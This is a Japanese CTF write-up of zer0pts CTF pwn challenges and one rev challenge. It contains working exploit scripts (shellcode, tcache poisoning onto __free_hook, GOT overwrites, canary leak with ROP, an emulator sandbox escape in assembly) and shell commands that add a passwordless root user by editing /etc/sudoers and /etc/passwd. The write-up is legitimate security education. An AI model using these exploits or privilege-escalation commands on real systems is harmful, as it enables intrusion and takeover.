zer0pts CTF writeup
zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。
順位
実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。
なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。
Not Beginner's Stack (warmup, pwn)
warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。
問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss 上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。
バイナリを開くと自明なBoF を含む関数vulnと
vuln :
enter 0x100 , 0
mov edx , 6
mov esi , msg_data
xor edi , edi
inc edi
call write
mov edx , 0x1000
lea rsi , [rbp -0x100 ]
xor edi , edi
call read
leave
ret
バグの無いnotvuln
notvuln :
enter 0x100 , 0
call vuln
mov edx , 6
mov esi , msg_data
xor edi , edi
inc edi
call write
mov edx , 0x100
lea rsi , [rbp -0x100 ]
xor edi , edi
call read
xor eax , eax
ret
が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性 が無いと言って良いのかわからないですけど)。
checksecをすると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 24) Symbols No 0 0 chall
のようになっています。問題は、retアドレスがスタックに無いのでBoF ができない点です。どうしましょう。
答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100]
と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
N = 4
target_table = 0x600234
target_addr = 0x600234 + 0x8 * N
shellcode = ' \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 '
victim = target_table + 0x100
wait_for_attach()
rs(p64(victim) * (0x200 //8 ))
rs(p64(target_addr) * N + shellcode)
interactive()
これがPoCです(完全版 )。簡単な問題ですがfirst bloodでした✌
C++ のバイナリです。嫌ですね。でもソースコード があると... 嬉しい
template <typename T>
class safe_vector: public std::vector<T> {
public :
void wipe() {
std::vector<T>::resize(0 );
std::vector<T>::shrink_to_fit();
}
T& operator [](int index) {
int size = std::vector<T>::size();
if (size == 0 ) {
throw "index out of bounds" ;
}
return std::vector<T>::operator [](index % size);
}
};
上のようなstd::vector を継承したクラスのインスタンス vecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。
ところで、C言語 のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % size
は負の値になります。配列外参照ができますね(JavaScript とかもこの流儀に従っていて、一方でPython やRuby は数学的によくある方の剰余になっているはずです)。
あとはヒープ風水です。
heap leakやlibc leakが適切なサイズまでvector を生やして行けば得られます
tcache poisoningでfree_hookを得たいですが、vector は2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
そこで、vector の中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range (16 ):
push_back(i)
heap_base = (load(-9 ) << 32 ) + (load(-10 )) - 0x10
print (hex (heap_base))
for i in range (0x400 - 16 ):
push_back(i+1 )
libc_base = (load(-515 ) << 32 ) + (load(-514 )) - 0x10 - 0x1ebbd0
print (hex (libc_base))
wipe()
for i in range (64 ):
push_back(i)
store(-2 , 0x51 )
storeword(18 , 0x110 - 0x50 + 1 )
wait_for_attach()
for i in range (64 ):
push_back(64 + i)
system = 0x55410 + libc_base
free_hook = 0x1eeb28 + libc_base - 0x8
storeword(-68 , free_hook)
wipe()
for i in range (16 ):
push_back(i)
store(-2 , 0x111 )
wipe()
for i in range (8 ):
print (i)
push_back(i)
storeword(0 , 29400045130965551 )
storeword(2 , system)
wait_for_attach()
push_back(9 )
interactive()
以上がPoCです(完全版 )。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウト までに間に合わず、AWS でインスタンス 作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死 PoCなのでもうちょい頑張れば効率化できたかもしれません。
OneShot
main関数をそのまま貼ると
int main() {
int *arr = NULL , n = 0 , i = 0 ;
printf("n = " );
scanf(" %d " , &n);
if (n >= 0x100 )
exit(1 );
arr = calloc(n, sizeof (int ));
printf("i = " );
scanf(" %d " , &i);
printf("arr[ %d ] = " , i);
scanf(" %d " , &arr[i]);
puts("Done!" );
return 0 ;
}
です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70) Symbols No 0 1 chall
です。Partial Relro + No PIEです。匂いますね。
一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i])
で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。
こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh \x00")ができます。どうすればいいでしょう?
ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります
__attribute__((constructor))
void setup() {
alarm(60 );
setbuf(stdin , NULL );
setbuf(stdout , NULL );
}
この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。
つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)
のp
にこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i);
です。こんな余計な表示しているんだから怪しいですよね。
配られたバイナリをディスアセンブル してみると
4007 d4 : 89 c6 mov %eax ,%esi
4007 d6 : 48 8 d 3 d 14 01 00 00 lea 0x114 (%rip ),%rdi
4007 dd : b8 00 00 00 00 mov $0x0 ,%eax
4007 e2 : e8 19 fe ff ff callq 400600 <printf @plt >
などとなっています。一方で、setupの関数のディスアセンブル は
400830: 48 8b 05 39 08 20 00 mov 0x200839(%rip),%rax # 601070 <stdin@@GLIBC_2.2.5>
400837: be 00 00 00 00 mov $0x0,%esi
40083c: 48 89 c7 mov %rax,%rdi
40083f: e8 ac fd ff ff callq 4005f0 <setbuf@plt>
のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリ を見ると、ちょうど第二引数にraxの値を入れていますね?
ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。
def modify (pos, val):
rs(-1 )
rs(pos // 4 )
rs(val)
def modify8 (pos, val):
modify(pos, val & 0xffffffff )
modify(pos + 4 , val >> 32 )
modify(puts_got, main_addr)
modify8(exit_got, 0x0000000000400830 )
modify8(setbuf_got, nazo)
rs(300 )
recvuntil('arr[' )
s = recvuntil(']' )
print (s)
libc_lower = int (s)
system_lower = libc_lower - 0x196570
print (hex (libc_lower), hex (system_lower))
rs('+' )
modify8(exit_got, ret)
modify8(binsh, u64("/bin/sh \x00 " ))
modify(calloc_got, system_lower)
wait_for_attach()
rs(str (binsh))
interactive()
以上がPoCです(完全版 )。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+
などを入れることでスルーしてもらうことができます。
stopwatch
これはプログラムが長いので、挙動は実行の様子から説明します
What is your name?
> hello
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.
Timer started.
Timer stopped.
Faster by 0.245760 sec!
Play again? (Y/n) Y
-=-=-=-= CHALLENGE 002 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.
Timer started.
Timer stopped.
Slower by 0.044928 sec!
Play again? (Y/n) n
-=-=-=-= RESULT =-=-=-=-
Name: hello
Best Score: 0.044928
名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。
実はこの問題は自明なBoF が二箇所あります。特に重要な方を上げると
int ask_again(void ) {
char buf[0x10 ];
printf("Play again? (Y/n) " );
scanf(" %s " , buf);
readuntil('\n' );
if (buf[0 ] == 'n' || buf[0 ] == 'N' )
return 0 ;
else
return 1 ;
}
この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80) Symbols No 0 2 stopwatch/chall
となっていて、Canaryがあり、BoF するだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか?
怪しいところは、ここです
void ask_time(double *t) {
printf("Time[sec]: " );
scanf(" %lf " , t);
readuntil('\n' );
}
scanfの返り値を見てエラーハンドリングしていないので、ここで+
とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、
double delta, goal, diff;
ask_time(&goal);
で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。
What is your name?
> uon
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 0.000000 seconds as possible!
Press ENTER to start / stop the timer.
0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると
int main(void ) {
unsigned char i, n;
double *records, best = 31137.31337 ;
ask_name();
n = ask_number();
records = (double *)alloca(n * sizeof (double ));
for (i = 0 ; i < n; i++) records[i] = 31137.31337 ;
のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、malloc のように動的にサイズを決めて、メモリを確保することができる仕組みで、malloc との違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_name
やask_number
で使われたcanaryの位置に、goalを置くことができることに気づきます。
What is your name?
> 1
How many times do you want to try?
> 16
-=-=-=-= CHALLENGE 0 01 =-=-=-=-
Time[sec]: +
Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible!
Press ENTER to start / stop the timer.
ヤバいですね。適当なtranslator
#include <stdio.h>
typedef union {
double x;
unsigned long long y;
} U;
int main(void ) {
U v;
scanf(" %lf " , &v.x);
printf(" %llx\n " , v.y);
return 0 ;
}
を書くと、この表示された値は 5fa794a51be9dc00
であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。
canaryさえリークできればあとはROPをすればよいです。
server = process('translator' )
rs('/bin/sh' )
rs('15' )
rs('+' , r=':' )
recvuntil('close to ' )
v = recvuntil(' ' )
print (v)
server.sendline(v)
l = server.recvline()
canary = int (l, 16 )
sendline(' \n ' )
print (hex (canary))
recvuntil('(Y/n) ' )
payload = [
pop_rdi,
pop_rdi,
leak,
puts_plt,
ask_again,
]
pad = 'A' * 0x18 + p64(canary)
payload = '' .join(map (p64, payload))
'''
b * 0x400915
'''
wait_for_attach()
sendline(pad + payload)
libc_base = just_u64(recvline()) - libc_start_main_offset
print (hex (libc_base))
recvuntil('(Y/n) ' )
binsh = libc_base + binsh_offset
system = libc_base + system_offset
payload = [
pop_rdi,
ret,
pop_rdi,
binsh,
system,
]
payload = '' .join(map (p64, payload))
wait_for_attach()
sendline(pad + payload)
interactive()
最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh ")を実行するROPを組んでいます(PoCの完全版 )。
nasm kit
概要は、「x86 のアセンブリ を受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。
DEFINE_HANDLER(handler_syscall)
{
char *buf;
case SYS_mmap:
REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6);
if ((void *)REG_RETVAL == MAP_FAILED) {
REG_RETVAL = -1 ;
} else if (REG_RETVAL != REG_ARG1) {
syscall(SYS_munmap, REG_RETVAL, REG_ARG2);
REG_RETVAL = -1 ;
} else {
if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void *)REG_RETVAL)))
ABORT_PROGRAM("Error on uc_mem_map_ptr" );
REG_RETVAL = 0 ;
}
break ;
case SYS_munmap:
if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0 ) {
REG_RETVAL = -1 ;
} else {
if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) {
ABORT_PROGRAM("Error on uc_mem_unmap" );
}
REG_RETVAL = 0 ;
}
break ;
mmap でなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。
この問題は2つのパートに分かれます
どのように親のアドレス空間 のアドレスをリークするか
親のアドレス空間 が分かったとき、どうやって親側で任意コードを実行するか
です。
このsandboxでは、addr' = mmap(addr, size, ...)
として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmap ではMAP_FIXED
を指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmap の成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。
成功
失敗
基本的には、二分探索をすれば良いですが、リモートでmmap のサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます
[0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
[X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。
Cで上述のアルゴリズム を書くと以下のようになります(なおmmap の仕様が違うので、上のプログラムをLinux 上でコンパイル しても、意図したとおりには動きません)
#define SIZE 0x80000000llu
typedef unsigned long long u64;
int main(void ) {
u64 addr = 0x550000000000llu ;
u64 lb = 0x550000000000llu ;
u64 ub = 0x570000000000llu ;
for (u64 i = lb; i < ub; i += SIZE) {
u64 x = (u64)mmap((void *)i, SIZE, 0 , 0x22 , -1 , 0 );
if (x != 0 ) {
addr = lb;
lb = (i >> 12 );
ub = (i + SIZE) >> 12 ;
break ;
}
else {
munmap((void *)i, SIZE);
}
}
while (ub - lb > 1 ) {
u64 mb = ((ub + lb) / 2 );
u64 size = mb - addr;
u64 y = addr * 0x1000 ;
u64 z = size * 0x1000 ;
u64 x = mmap(y, z, 0 , 0x22 , -1 , 0 );
if (x != 0 ) {
ub = mb;
}
else {
lb = mb;
munmap(y, z);
}
}
printf(" %llx\n " , lb * 0x1000 );
scanf(" %llu " , &addr);
return 0 ;
}
以上で、親の空間のコード領域のアドレスをリークすることができました。
後半:親で任意コード実行
ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmap でrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmap だけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。
mmap のフラグでMAP_FIXEDを指定すると、mmap (addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデア になります。
実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、
gdb-peda$ vm
Start End Perm Name
0xdead0000 0xdeae0000 rw-p mapped
0x0000561813dba000 0x0000561813dbd000 r-xp /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbc000 0x0000561813fbd000 r--p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbd000 0x0000561813fbe000 rw-p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
特に、base + 0x2000の位置をダンプしてみると
gdb-peda$ x/40gx 0x0000561813dbc000
0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>: 0xed358d4800201004 0x0fe6058b48002012
0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>: 0xef66e8c789480020 0x894855c3c990ffff
0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>: 0x01bf0000ffffbee5 0xffffffa4e8000000
0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>: 0x7d89e5894855c35d 0x23fc458bf87589fc
0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe5894855c35df845 0x458bf87589fc7d89
0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>: 0x4855c35df8450bfc 0xfc458bfc7d89e589
0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>: 0xe5894855c35dd0f7 0xf87d894810ec8348
0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589 0xc789d689f4558b00
0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8 0x458b481089f8458b
0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8 0x89f87d894810ec83
0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475 0xe8c789d689f4558b
0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e 0xf8458b481089f845
0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9 0x7589e87d894820ec
0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe8458b48e05589e4 0x458bfc458918408b
0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>: 0xffffff6ee8c789e0 0x8348e8458b48c289
0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>: 0xe8c78948d68918c0 0x8be0558bffffff97
0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>: 0x27e8c789d689e445 0x458b48c289ffffff
0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>: 0x48d68918c08348e8 0x8bffffff45e8c789
0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>: 0xe5894855c3c9fc45 0xf87d894810ec8348
0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48 0x894800000008be00
のようになっています。mmap をすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として
子供に実行が帰ってくる前に、その領域にRIPが行かない
メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる
という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で
std::cout << "[+] Emulator terminated" << std::endl;
/* Print register values */
if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7)))
ABORT("Error on uc_mem_map (unexpected)");
std::cout << "===== registers =====" << std::endl;
std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl;
std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl;
std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl;
std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl;
std::cout << "R10: " << std::hex << reg_vals[4] << std::endl;
std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl;
std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl;
std::cout << "=====================" << std::endl;
のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。
main :
xor r9d , r9d
mov r8d , -1
mov r10d , 0x22
mov edx , 3
mov rsi , 0x10000
mov rdi , 0xdead0000
mov eax , 9
syscall
mov rsp , 0xdead3000
mov rbp , 0xdead3000
mov rdi , 0xdead4800
mov rsi , 0x0a0a0a0a0a0a
mov [rdi ], rsi
mov edx , 0x400
mov rsi , 0xdead0000
mov edi , 0
mov eax , 0
syscall
mov rsi , 5
mov rdi , 0xdead0000
call print_buf
mov rax , qword 555000000000 H
mov qword [rbp -58 H ], rax
mov qword [rbp -50 H ], rax
mov rax , qword 570000000000 H
mov qword [rbp -48 H ], rax
mov rax , qword [rbp -50 H ]
mov qword [rbp -40 H ], rax
jmp ?_003
?_001 : mov rax , qword [rbp -40 H ]
mov r9d , 0
mov r8d , 4294967295
mov ecx , 34
mov edx , 0
mov esi , 2147483648
mov rdi , rax
mov eax , 9
syscall
mov qword [rbp -38 H ], rax
cmp qword [rbp -38 H ], 0
jz ?_002
mov rax , qword [rbp -40 H ]
shr rax , 12
mov qword [rbp -50 H ], rax
mov qword [rbp -58 H ], rax
mov edx , 2147483648
mov rax , qword [rbp -40 H ]
add rax , rdx
shr rax , 12
mov qword [rbp -48 H ], rax
call print_end
mov rdi , qword [rbp -50 H ]
call print_reg
jmp ?_004
?_002 :
mov rax , qword [rbp -40 H ]
mov esi , 2147483648
mov rdi , rax
mov eax , 11
syscall
mov eax , 2147483648
add qword [rbp -40 H ], rax
?_003 : mov rax , qword [rbp -40 H ]
cmp rax , qword [rbp -48 H ]
jc ?_001
?_004 : jmp ?_007
?_005 : mov rdx , qword [rbp -48 H ]
mov rax , qword [rbp -50 H ]
add rax , rdx
shr rax , 1
mov qword [rbp -30 H ], rax
mov rax , qword [rbp -58 H ]
mov rdx , qword [rbp -30 H ]
sub rdx , rax
mov rax , rdx
mov qword [rbp -28 H ], rax
mov rax , qword [rbp -58 H ]
shl rax , 12
mov qword [rbp -20 H ], rax
mov rax , qword [rbp -28 H ]
shl rax , 12
mov qword [rbp -18 H ], rax
mov rax , qword [rbp -20 H ]
mov rsi , qword [rbp -18 H ]
mov r9d , 0
mov r8d , 4294967295
mov ecx , 34
mov edx , 0
mov rdi , rax
mov eax , 9
syscall
mov qword [rbp -10 H ], rax
cmp qword [rbp -10 H ], 0
jz ?_006
mov rax , qword [rbp -30 H ]
mov qword [rbp -48 H ], rax
jmp ?_007
?_006 : mov rax , qword [rbp -30 H ]
mov qword [rbp -50 H ], rax
mov rax , qword [rbp -20 H ]
mov rdx , qword [rbp -18 H ]
mov rsi , rdx
mov rdi , rax
mov eax , 11
syscall
?_007 : mov rax , qword [rbp -48 H ]
sub rax , qword [rbp -50 H ]
cmp rax , 1
ja ?_005
call print_end
mov rdi , qword [rbp -50 H ]
call print_reg
mov edx , 0x8
mov rsi , 0xdead0000
mov edi , 0
mov eax , 0
syscall
mov rax , 0xdead0000
mov r12 , [rax ]
get_shell :
xor r9d , r9d
mov r8d , -1
mov r10d , 0x32
mov edx , 7
mov rsi , 0x1000
mov rdi , r12
mov eax , 9
syscall
mov rax , r12
add rax , 0x124
mov dword [rax ], 3142107185
add rax , 4
mov dword [rax ], 2442567121
add rax , 4
mov dword [rax ], 4288122064
add rax , 4
mov dword [rax ], 1406924616
add rax , 4
mov dword [rax ], 1385783124
add rax , 4
mov dword [rax ], 2958971991
add rax , 4
mov dword [rax ], 331579
mov rax , 0x100000
mov dword [rax ], 0
print_buf :
mov rdx , rsi
mov rsi , rdi
mov edi , 1
mov rax , 1
syscall
mov rdx , 1
mov rsi , 0xdead4800
mov edi , 1
mov rax , 1
syscall
ret
wait_for_attach :
mov edx , 0x400
mov rsi , 0xdead0000
mov edi , 0
mov eax , 0
syscall
ret
print_reg :
mov rax , 0xdead0000
mov qword [rax ], rdi
mov rdi , rax
mov rsi , 8
jmp print_buf
print_cont :
mov rax , 0xdead0000
mov qword [rax ], 1953394531
mov rdi , rax
mov rsi , 4
jmp print_buf
print_end :
mov rax , 0xdead0000
mov qword [rax ], 6581861
mov rdi , rax
mov rsi , 3
jmp print_buf
良い問題でした。
infected
僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドア をしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。
echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor
echo "sudo ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor
echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd
echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor
感想
問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。
今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会 に行くことなく*2 、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。